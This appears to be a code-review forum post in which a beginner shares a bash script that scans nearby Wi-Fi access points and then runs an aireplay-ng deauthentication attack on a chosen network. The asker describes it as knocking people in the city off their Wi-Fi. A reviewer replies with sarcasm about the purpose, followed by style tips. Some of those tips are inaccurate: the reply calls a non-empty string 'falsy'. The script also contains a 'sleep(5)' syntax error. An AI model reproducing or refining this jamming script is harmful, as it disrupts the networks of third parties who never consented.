Bob Marley is jamming on the wifi Bob is jamming it's way through the city deauthenticating people from thier wifi for a few seconds. First scanning all possible wifi-AP and then pretty printing them, afterwards you can choose a wifi to jam and it will perform a deauth for a few seconds attack using the airmon-ng framework.

This all works as intended but I'd like an intermediate review, before I try to add more functionality. This is one of my very first bash programs so please be gentle. As I'm unskilled in bash.


I wonder if I use the correct syntax in bash?
Further I think my scanning function is not all that good, I bet
there are more pretty ways to check.
Lastly maybe checking wifi's near me with airmodump-ng instead of
iwlist scanning would be a better way of handling this?




#!/bin/bash

# My global vars
declare -a mac=()
declare -a essid=()
declare -a channel=()
declare -a level=()

function scan {
    while read line; do
        # Reset variables on new network
        [[ "$line" =~ Cell || "$line" == "" ]] &amp;&amp; {
            # If we already found one network then echo its information
            [[ "$network" != "" ]] &amp;&amp; {
                # Update arrays &amp; clear
                mac+=($m);essid+=($e);channel+=($chn);level+=($lvl)
                network=""
            }
        }
        [[ "$line" =~ Address ]] &amp;&amp; {
            m=${line##*ss: }
        }
        [[ "$line" =~ Channel ]] &amp;&amp; {
            chn=${line##*nel }
            chn=${chn:0:$((${#chn}-1))}
        }
        [[ "$line" =~ Quality ]] &amp;&amp; {
            lvl=${line##*evel=}
            lvl=${lvl%% *}
        }

        # The ESSID is the last line of the basic data
        [[ "$line" =~ ESSID ]] &amp;&amp; {
            e=${line##*ID:}
            network="finished reading"
        }
    done &lt; &lt;(iwlist wlan0 scanning)
}

# Printing the list of wifi's
function print {
    echo "--------------------------------------------------------"
    for i in "${!mac[@]}"; do
        echo "[$i] ${mac[$i]} ${essid[$i]} ${channel[$i]} ${level[$i]}"
    done
}

function jam {
    echo "--------------------------------------------------------"
    echo "Type the number of the wifi to jam"
    read i; echo "[$i] ${mac[$i]} ${essid[$i]} ${channel[$i]} ${level[$i]}"

    # Start jamming
    airmon-ng check kill
    airmon-ng start wlan0
    sleep(5)
    timeout 10 aireplay-ng -a ${mac[$i]} --channel ${channel[$i]} --deauth 0 wlan0mon
    airmon-ng stop wlan0mon
}

scan
print
jam
Nothing would make a reviewer happier than help you jam the networks of an innocent neighborhood. (sarcasm)

Mutually exclusive conditions

Can line match Address, Channel, etc at the same time? If not, then the multiple [[ ... ]] are needlessly evaluated, and it would be better to rewrite them using elifs:

    if [[ "$line" =~ Address ]]; then
        m=${line##*ss: }
    elif [[ "$line" =~ Channel ]]; then
        chn=${line##*nel }
        chn=${chn:0:$((${#chn}-1))}
    elif
        ...


Avoid multiple statements on a single line

Multiple statements on a single line like this can be hard to read:


mac+=($m);essid+=($e);channel+=($chn);level+=($lvl)



It's better to split this line to have just one statement per line.
That way the code will be nicely readable from top to bottom,
without having to carefully read sideways too.

Conditions on non-empty values

A non-empty string is falsy in Bash,
so instead of [[ "$network" != "" ]] you can write:

[[ "$network" ]]


Simpler parameter expansion

An easier way to chop off the last letter of a string is using parameter expansion:

chn=${chn%?}


Function declaration style

Instead of this:


function scan {



The recommended style to declare functions is this:

scan() {